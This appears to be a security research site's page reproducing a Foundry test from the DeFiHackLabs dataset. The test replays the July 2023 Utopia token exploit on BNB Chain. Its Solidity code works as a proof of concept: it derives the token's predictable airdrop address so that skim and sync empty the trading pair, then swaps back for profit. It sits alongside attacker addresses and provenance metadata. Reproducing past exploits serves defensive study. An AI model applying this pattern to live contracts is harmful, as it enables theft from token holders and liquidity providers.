Public reproduction file
src/test/2023-07/Utopia_exp.sol
Public reproduction file for dataset entry Utopia.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$119K8// Attacker : https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b291139// Attacker Contract : https://bscscan.com/address/0x6191203510c2a6442faecdb6c7bb837a76f02d2310// Vulnerable Contract : https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f333311// Attack Tx : https://bscscan.com/tx/0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e13// @Analysis14// https://twitter.com/DeDotFiSecurity/status/168192372964587110415// https://twitter.com/bulu4477/status/168238054256476979317// Similar incident (FFIST) : https://github.com/SunWeb3Sec/DeFiHackLabs#20230720-ffist---business-logic-flaw19interface IUtopia is IERC20 {20 function lastAirdropAddress() external view returns (address);21}23contract UtopiaTest is Test {24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);25 IUtopia Utopia = IUtopia(0xb1da08C472567eb0EC19639b1822F578d39F3333);26 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);27 Uni_Pair_V2 Pair = Uni_Pair_V2(0xfeEf619a56fCE9D003E20BF61393D18f62B0b2D5);29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);31 function setUp() public {32 cheats.createSelectFork("bsc", 30_119_396);33 cheats.label(address(WBNB), "WBNB");34 cheats.label(address(Utopia), "Utopia");35 cheats.label(address(Router), "Router");36 cheats.label(address(Pair), "Pair");37 }39 function testExploit() public {40 deal(address(WBNB), address(this), 0.01 ether);41 WBNB.approve(address(Router), type(uint256).max);42 Utopia.approve(address(Router), type(uint256).max);43 emit log_named_decimal_uint(44 "Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), WBNB.decimals()45 );47 WBNBToUtopia();48 Utopia.transfer(address(Pair), 1);50 // Setting balance of the pair to 1 by calculating the receiver's address51 // Two addresses (from, to) in seed calculation must be the same52 uint256 seed = (uint160(Utopia.lastAirdropAddress()) | uint160(block.number)) ^ uint160(address(Pair))53 ^ uint160(address(Pair));54 // tAmount may be 0 or 155 address notRandomAirdropAddr = address(uint160(seed | 1));57 Pair.skim(notRandomAirdropAddr);58 Pair.sync();59 Utopia.transfer(address(Pair), 1);60 Pair.sync();61 UtopiaToWBNB();63 emit log_named_decimal_uint(64 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()65 );66 }68 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {}70 function WBNBToUtopia() internal {71 address[] memory path = new address[](2);72 path[0] = address(WBNB);73 path[1] = address(Utopia);74 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(75 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100076 );77 }79 function UtopiaToWBNB() internal {80 (uint256 reserveUtopia, uint256 reserveWBNB,) = Pair.getReserves();81 uint256 amountOut = Router.getAmountOut(32, reserveUtopia, reserveWBNB);82 Utopia.transfer(address(Pair), 32);83 Pair.swap(0, amountOut, address(this), new bytes(1));84 }85}Analysis
Dataset entry
Public Foundry test for “Utopia” (2023-07-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe84ef3615b8df94c52e5b6ef21acbf0039b29113
- Attacker
0x6191203510c2a6442faecdb6c7bb837a76f02d23
- Vulnerable Contract
0xb1da08c472567eb0ec19639b1822f578d39f3333
- Attack Tx
0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e
- Explorer: https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b29113
- Explorer: https://bscscan.com/address/0x6191203510c2a6442faecdb6c7bb837a76f02d23
- Explorer: https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f3333
- Reference: https://twitter.com/DeDotFiSecurity/status/1681923729645871104
- Reference: https://twitter.com/bulu4477/status/1682380542564769793
File record
- Name
- Utopia
- Path
- src/test/2023-07/Utopia_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ace4f641ee06ac0901f9ba07cbf8fb1b4c960bc7
- Language
- Solidity
- Size
- 86 lines
- Date
- 2023-07-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Utopia_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ace4f641ee06ac0901f9ba07cbf8fb1b4c960bc7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.